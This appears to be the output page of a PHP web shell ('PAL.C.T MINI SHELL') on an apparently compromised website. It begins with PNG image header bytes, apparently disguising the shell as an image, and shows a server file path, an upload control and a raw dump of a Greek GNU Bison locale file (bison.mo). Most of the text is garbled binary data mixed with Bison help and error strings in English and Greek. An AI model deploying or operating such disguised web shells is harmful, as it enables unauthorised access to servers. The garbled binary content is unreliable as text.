php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/el/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/el/LC_MESSAGES/bison.mo

L	`a}>1<p;	
6'^ ~'D6L&h,"%@,f- &	)%Io%#$03&d#	IB*bt(	EqO')/&840m7T-p/FD[& $ ? U k       !+-!Y!t!*!*!!""$"A"-V"*"."+""
#-#'G#6o#####'#$6$,J$w$	$ $	$,$A$$%9%.M%3|%% %%(&/8&*h& &&&&&<{(](.+E++q,	-(-A-T-[t-:-;.G.aP..\/3/N,0){0+0*0+0F(15o191F1G&28n282+2+3:83s3C3A3B
4M41P4D4'404o 5I5W5;26n666Q-7]772;;?WS???cZBXB\CtCWD0dD0D)DtDIeGGG&GG5GB3H2vH@H=H=(IcfI(I*IJ}'J3JJkK_K+]LL.L*L!L+!M,MM"zM9M#M;M?7N4wN!N;N;
OEFO6O-OQOSCP=PUPB+Q#nQSQMQS4RMRWR<.SPkSzSX7T(T;TeTG[U$USUV2VLIVVSVW/W3WXXQ9YRY(YlZktZ`Z6A[(x[3[[J=I- n"^{pl<fW
ya;U!['6tL8/\+vr~%}H_S@
4YE.NV?$72zFRGi3chM	jD(Cs:#w`uBbqxAX&gP*0Q)1kZdO|To,>Ke59m]
Execution times (seconds)

Operation modes:
  -h, --help                 display this help and exit
  -V, --version              output version information and exit
      --print-localedir      output directory containing locale-dependent data
      --print-datadir        output directory containing skeletons and XSLT
  -y, --yacc                 emulate POSIX Yacc
  -W, --warnings=[CATEGORY]  report the warnings falling in CATEGORY


Report bugs to <%s>.
    Conflict between rule %d and token %s resolved as an error    Conflict between rule %d and token %s resolved as reduce    Conflict between rule %d and token %s resolved as shift TOTAL                 : on left: on right: type %d is %s
$$ for the midrule at $%d of `%s' has no declared type$$ of `%s' has no declared type$%d of `%s' has no declared type$default%%expect-rr applies only to GLR parsers%d nonterminal useless in grammar%d nonterminals useless in grammar%d rule useless in grammar%d rules useless in grammar%s affects only GLR parsers%s must be followed by positive number%s redeclaration for %s%s redeclaration for <%s>%s: illegal option -- %c
%s: invalid option -- %c
%s: option `%c%s' doesn't allow an argument
%s: option `%s' is ambiguous
%s: option `%s' requires an argument
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
%s: option requires an argument -- %c
%s: unrecognized option `%c%s'
%s: unrecognized option `--%s'
%u bitset_allocs, %u freed (%.2f%%).
%u bitset_lists
%u bitset_resets, %u cached (%.2f%%)
%u bitset_sets, %u cached (%.2f%%)
%u bitset_tests, %u cached (%.2f%%)
'Accumulated runs = %u
Bad stats file size.
Bitset statistics:

Copyright (C) %d Free Software Foundation, Inc.
Could not open stats file for writing.Could not read stats file.Could not write stats file.Generate LALR(1) and GLR parsers.

GrammarI/O errorMandatory arguments to long options are mandatory for short options too.
Nonterminals useless in grammarNonterminals, with rules where they appearOutput:
      --defines[=FILE]       also produce a header file
  -d                         likewise but cannot specify FILE (for POSIX Yacc)
  -r, --report=THINGS        also produce details on the automaton
      --report-file=FILE     write report to FILE
  -v, --verbose              same as `--report=state'
  -b, --file-prefix=PREFIX   specify a PREFIX for output files
  -o, --output=FILE          leave output to FILE
  -g, --graph[=FILE]         also output a graph of the automaton
  -x, --xml[=FILE]           also output an XML report of the automaton
                             (the XML schema is experimental)

Parser:
  -L, --language=LANGUAGE    specify the output programming language
                             (this is an experimental feature)
  -S, --skeleton=FILE        specify the skeleton to use
  -t, --debug                instrument the parser for debugging
      --locations            enable locations computation
  -p, --name-prefix=PREFIX   prepend PREFIX to the external symbols
  -l, --no-lines             don't generate `#line' directives
  -k, --token-table          include a table of token names

Rules useless in grammarRules useless in parser due to conflictsState %d THINGS is a list of comma separated words that can include:
  `state'        describe the states
  `itemset'      complete the core item sets with their closure
  `lookahead'    explicitly associate lookahead tokens to items
  `solved'       describe shift/reduce conflicts solving
  `all'          include all the above information
  `none'         disable the report
Terminals unused in grammarTerminals, with rules where they appearThe same is true for optional arguments.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Try `%s --help' for more information.
Unknown system errorUsage: %s [OPTION]... FILE
Valid arguments are:Warning categories include:
  `midrule-values'  unset or unused midrule values
  `yacc'            incompatibilities with POSIX YACC
  `all'             all the warnings
  `no-CATEGORY'     turn off warnings in CATEGORY
  `none'            turn off all the warnings
  `error'           treat warnings as errors

Written by Robert Corbett and Richard Stallman.
`acceptambiguous argument %s for %sbison (GNU Bison) %scannot close filecannot open file `%s'column number overflowconflicting outputs to file %sconflicts: %d reduce/reduce
conflicts: %d shift/reduce
conflicts: %d shift/reduce, %d reduce/reduce
count log histogram
density histogram
emptyempty rule for typed nonterminal, and no actionerror (nonassociative)
expected %d reduce/reduce conflictexpected %d reduce/reduce conflictsexpected %d shift/reduce conflictexpected %d shift/reduce conflictsexplicit type given in untyped grammarextra operand `%s'fatal errorgo to state %d
integer out of range: %sinvalid $ value: $%dinvalid argument %s for %sinvalid character: %sinvalid directive: %sinvalid escape sequence: %sinvalid language `%s'invalid null characterinvalid null character: %sline number overflowmemory exhaustedmissing `%s' at end of filemissing `%s' at end of linemissing identifier in parameter declarationmissing operand after `%s'multiple %s declarationsmultiple language declarations are invalidmultiple skeleton declarations are invalidno rules in the input grammarnonterminal useless in grammar: %sonly one %s allowed per ruleprevious declarationredeclaration for default tagged %%destructorredeclaration for default tagged %%printerredeclaration for default tagless %%destructorredeclaration for default tagless %%printerredefining user token number of %sreduce using rule %d (%s)refusing to overwrite the input file %sresult type clash on merge function `%s': <%s> != <%s>rule given for %s, which is a tokenrule is too longrule useless in grammarrule useless in parser due to conflictsshift, and go to state %d
size log histogram
start symbol %s does not derive any sentencestate %dstray `$'stray `,' treated as white spacestray `@'subsidiary program `%s' could not be invokedsymbol %s is used, but is not defined as a token and has no rulessymbol %s redeclaredsymbol %s redefinedsymbol `%s' given more than one literal stringsymbol `%s' used more than once as a literal stringthe start symbol %s is a tokenthe start symbol %s is undefinedtime in %s: %ld.%06ld (%ld%%)
tokens %s and %s both assigned number %dtoo many symbols in input grammar (limit is %d)type clash on default action: <%s> != <%s>unrecognized escape sequence: %sunset value: $$unused value: $%dwarningProject-Id-Version: bison-2.4
Report-Msgid-Bugs-To: bug-bison@gnu.org
POT-Creation-Date: 2008-12-11 17:06-0500
PO-Revision-Date: 2008-11-30 17:57+0300
Last-Translator: Lefteris Dimitroulakis <edimitro@tee.gr>
Language-Team: Greek <team@lists.gnome.gr>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=( n !=1);
X-Generator: KBabel 1.11.4

Χρόνος εκτέλεσης (δευτερόλεπτα)

Τρόποι λειτουργίας:
  -h, --help                 εμφάνιση αυτής εδώ της βοήθειας κι έξοδος
  -V, --version              πληροφορίες έκδοσης κι έξοδος
      --print-localedir      ο κατάλογος με τα δεδομένα των locale
      --print-datadir        ο κατάλογος με σκελετούς και XSLT
  -y, --yacc                 emulate POSIX Yacc
  -W, --warnings=[ΚΑΤΗΓΟΡΙΑ]  παρουσιάζει τις προειδοποιήσεις που ανήκουν στη ΚΑΤΗΓΟΡΙΑ


Αναφορά σφαλμάτων σε <%s>.
    Η σύγκρουση μεταξύ του κανόνα %d και της λεκτικής μονάδας %s επιλύθηκε ως σφάλμα    Η σύγκρουση μεταξύ του κανόνα %d και της λεκτικής μονάδας %s επιλύθηκε ως ελάττωση    Η σύγκρουση μεταξύ του κανόνα %d και της λεκτικής μονάδας %s επιλύθηκε ως ολίσθησηΣΥΝΟΛΟ                 :στα αριστερά:στα δεξιά:ο τύπος %d είναι %s
$$ για την midrule στο $%d του «%s» δεν έχει δηλωμένο τύπο$$ του «%s» δεν έχει δηλωμένο τύπο$%d του «%s» δεν έχει δηλωμένο τύπο$default%%expect-rr έχει εφαρμογή μόνο σε συντακτικούς αναλυτές GLRμη τερματικό σύμβολο %d άχρηστο στη γραμματικήμη τερματικά σύμβολα %d άχρηστα στη γραμματικήο κανόνας %d είναι άχρηστος στη γραμματικήοι κανόνες %d είναι άχρηστοι στη γραμματική%s επηρεάζει μόνο αναλυτές GLR%s πρέπει να ακολουθείται από θετικό αριθμόδήλωση ξανά του %s για %sδήλωση ξανά του %s για <%s>%s: παράνομη επιλογή -- %c
%s: μη έγκυρη επιλογή -- %c
%s: η επιλογή «%c%s» δεν επιτρέπει όρισμα
%s: η επιλογή «%s» είναι ασαφής
%s: η επιλογή «%s» απαιτεί όρισμα
%s: η επιλογή «--%s» δεν επιτρέπει όρισμα
%s: η επιλογή «-W %s» δεν επιτρέπει όρισμα
%s: η επιλογή «-W %s» είναι ασαφής
%s: η επιλογή απαιτεί όρισμα -- %c
%s: άγνωστη επιλογή «%c%s»
%s: άγνωστη επιλογή «--%s»
%u bitset_allocs, %u ελευθερώθηκαν (%.2f%%).
%u bitset_lists
%u bitset_resets, %u στη βοηθητική μνήμη (%.2f%%)
%u bitset_sets, %u στη βοηθητική μνήμη (%.2f%%)
%u bitset_tests, %u στη βοηθητική μνήμη (%.2f%%)
»Συσσωρευμένα τρεξίματα = %u
Λάθος μέγεθος αρχείου με στατιστικά.
Στατιστικές των Bitset:

Copyright (C) %d Free Software Foundation, Inc.
Δεν μπόρεσα να ανοίξω για γράψιμο το αρχείο με τα στατιστικά.Αδυναμία ανάγνωσης αρχείου στατιστικώνΔεν μπόρεσα να γράψω το αρχείο με τα στατιστικά.Δημιουργία αναλυτών LALR(1) και GLR.

Γραμματικήσφάλμα I/OΥποχρεωτικά ορίσματα σε μακρές επιλογές είναι υποχρεωτικά επίσης και στις κοντές.
Μη τερματικά σύμβολα άχρηστα στη γραμματικήΜη τερματικά σύμβολα, με κανόνες όπου εμφανίζονταιΈξοδος:
      --defines[=ΑΡΧΕΙΟ]       παράγει επίσης ένα αρχείο επικεφαλίδας
  -d               το ίδιο αλλά χωρίς ορισμό ΑΡΧΕΙΟΥ (για το POSIX Yacc)
  -r, --report=ΠΡΑΓΜΑΤΑ      παράγει λεπτομέρειες σχετικές με τα αυτόματα
      --report-file=ΑΡΧΕΙΟ                   γράψιμο αναφοράς στο ΑΡΧΕΙΟ
  -v, --verbose                           το ίδιο με  «--report=state»
  -b, --file-prefix=ΠΡΟΘΕΜΑ   καθορίζει ΠΡΟΘΕΜΑ για τα αρχεία εξόδου
  -o, --output=ΑΡΧΕΙΟ          έξοδος στο ΑΡΧΕΙΟ
  -g, --graph[=ΑΡΧΕΙΟ]         καθορισμός σε VCG της εξόδου του αυτομάτου
  -x, --xml[=ΑΡΧΕΙΟ]           αναφορά από το αυτόματο σε μορφή XML
                             (η μορφή XML είναι σε πειραματικό στάδιο)

Αναλυτής:
  -L, --language=ΓΛΩΣΣΑ    προσδιορίζει τη γλώσσα προγραμματισμού στην έξοδο
  -S, --skeleton=ΑΡΧΕΙΟ        προσδιορίζει τον προς χρήση skeleton
  -t, --debug                ενεργοποίηση της δυνατότητας αποσφαλμάτωσης
      --locations            επιτρέπει τον υπολογισμό των θέσεων
  -p, --name-prefix=ΠΡΟΘΕΜΑ    βάλε το ΠΡΟΘΕΜΑ μπροστά από τα εξωτερικά σύμβολα
  -l, --no-lines             να μην δημιουργούνται οδηγίες της μορφής «#line»
  -k, --token-table          συμπεριλαμβάνει πίνακα ονομάτων λεκτικών μονάδων

Άχρηστοι κανόνες στη γραμματικήΚανόνες άχρηστοι στον αναλυτή λόγω συγκρούσεωνΚατάσταση %d ΠΡΑΓΜΑΤΑ είναι μια λίστα λέξεων που χωρίζονται από κόμματα και περιλαμβάνουν:
  `state'        περιγράφει καταστάσεις
  `itemset'      complete the core item sets with their closure
  `lookahead'    ρητή συσχέτιση ήδη διαβασμένων λεκτικών μονάδων με items
  `solved'       περιγράφει επίλυση συγκρούσεων με ολίσθηση/ελάττωση
  `all'          περιλαμβάνει όλες τις παραπάνω πληροφορίες
  `none'         απενεργοποίηση αναφοράς
Τερματικά σύμβολα μη χρησιμοποιούμενα στη γραμματικήΤερματικά σύμβολα, με κανόνες όπου εμφανίζονταιΤο ίδιο ισχύει και για τα μη υποχρεωτικά ορίσματα.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Δοκίμασε «%s --help» για περισσότερες πληροφορίες.
Άγνωστο σφάλμα συστήματοςΧρήση: %s [ΕΠΛΟΓΕΣ]... ΑΡΧΕΙΟ
Έγκυρα ορίσματα είναι:Κατηγορίες προειδοποίησης περιλαμβάνουν:
  `midrule-values'  μη ενεργοποιημένες ή μη χρησιμοποιούμενες τιμές midrule
  `yacc'            ασυμβατότητες με POSIX YACC
  `all'             όλες οι προειδοποιήσεις
  `no-CATEGORY'     απενεργοποίηση προειδοποιήσεων για την CATEGORY
  `none'            απενεργοποίηση όλων των προειδοποιήσεων
  `error'           θεώρησε όλες τις προειδοποιήσεις ως σφάλματα

Γράφτηκε από τους Robert Corbett και Richard Stallman.
«αποδοχήασαφές όρισμα %s για %sbison (GNU Bison) %sδεν μπορώ να κλείσω το αρχείοαδυναμία ανοίγματος του αρχείου «%s»υπερχείλιση αριθμού στηλώναντικρουόμενες έξοδοι στο αρχείο %sσυγκρούσεις: %d ελάττωση/ελάττωση
συγκρούσεις: %d ολίσθηση/ελάττωση
συγκρούσεις: %d ολίσθηση/ελάττωση, %d ελάττωση/ελάττωση
ιστόγραμμα μετρήσεων
ιστόγραμμα πυκνότητας
κενόκενός κανόνας για μη τερματικό σύμβολο με τύπο, και ουδεμία ενέργειασφάλμα (μη προσεταιριστικό)
ανέμενα %d σύγκρουση ελάττωση/ελάττωσηανέμενα %d συγκρούσεις ελάττωση/ελάττωσηανέμενα %d σύγκρουση ολίσθηση/ελάττωσηανέμενα %d συγκρούσεις ολίσθηση/ελάττωσηρητή δήλωση τύπου δόθηκε σε γραμματική χωρίς τύπουςεπί πλέον τελεστέος «%s»μοιραίο σφάλμαπήγαινε στην κατάσταση %d
ακέραιος εκτός ορίων: %sτιμή $ μη έγκυρη: $%dμη έγκυρο όρισμα %s για %sμη έγκυρος χαρακτήρας: %sμη έγκυρη οδηγία: %sμη έγκυρη ακολουθία διαφυγής: %sμη έγκυρη γλώσσα `%s'μη έγκυρος μηδενικός χαρακτήραςμη έγκυρος μηδενικός χαρακτήρας: %sυπερχείλιση αριθμού γραμμώνεξαντλημένη μνήμηστο τέλος του αρχείου λείπει «%s»στο τέλος της γραμμής λείπει «%s»το όνομα λείπει στη δήλωση παραμέτρουλείπει τελεστέος μετά από «%s»πολλαπλές δηλώσεις του %sπολλαπλές δηλώσεις γλώσσας είναι μη έγκυρεςπολλαπλές δηλώσεις σκελετού είναι μη έγκυρεςγραμματική εισόδου χωρίς κανόνεςμη τερματικό σύμβολο άχρηστο στη γραμματική: %sμόνο ένα %s ανά κανόνα έχει επιτραπείπροηγούμενη δήλωσηδήλωση ξανά του προεπιλεγμένου καταστροφέα %%δήλωση ξανά του προεπιλεγμένου εκτυπωτή %%δήλωση ξανά του προεπιλεγμένου καταστροφέα %%δήλωση ξανά του προεπιλεγμένου εκτυπωτή %%ορισμός ξανά του αριθμού λεκτικής μονάδας του %sελάττωση με χρήση του κανόνα %d (%s)άρνηση γραψίματος πάνω στο αρχείο εισόδου %sσύγκρουση παραγόμενου τύπου στη συνάρτηση συγχώνευσης «%s»: <%s> != <%s>κανόνας δοσμένος για %s, που είναι λεκτική μονάδακανόνας πολύ επιμήκηςάχρηστος κανόνας στη γραμματικήο κανόνας είναι άχρηστος στον αναλυτή λόγω συγκρούσεωνολίσθηση, και μετάβαση στη κατάσταση %d
ιστόγραμμα μεγεθών
το αρχικό σύμβολο %s δεν παράγει καμιά πρότασηκατάσταση %dμοναχικό «$»μοναχικό « , » θεωρήθηκε ως λευκό διάστημαμοναχικό «@»το υποπρόγραμμα «%s» δεν ήταν δυνατό να κληθείτο σύμβολο %s χρησιμοποιείται, αλλά δεν καθορίζεται ως λεκτική μονάδα και δεν διαθέτει κανόνεςτο σύμβολο %s ξαναδηλώθηκετο σύμβολο %s ανακαθορίστηκε το σύμβολο «%s» έδωσε περισσότερα του ενός κυριολεκτικά αλφαριθμητικάτο σύμβολο «%s» χρησιμοποιήθηκε περισσότερες από μια φορές ως κυριολεκτικό αλφαριθμητικότο σύμβολο εκκίνησης  %s είναι λεκτική μονάδατο σύμβολο εκκίνησης %s δεν είναι καθορισμένοχρόνος σε %s: %ld.%06ld (%ld%%)
οι λεκτικές μονάδες %s και %s ανάθεσαν τον αριθμό %d και οι δύοπάρα πολλά σύμβολα στη γραμματική εισόδου (το όριο είναι %d)σύγκρουση τύπων στην προεπιλεγμένη ενέργεια: <%s> != <%s>άγνωστη ακολουθία διαφυγής: %sμη καθορισμένη τιμή: $$μη χρησιμοποιούμενη τιμή: $%dπροειδοποίηση
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`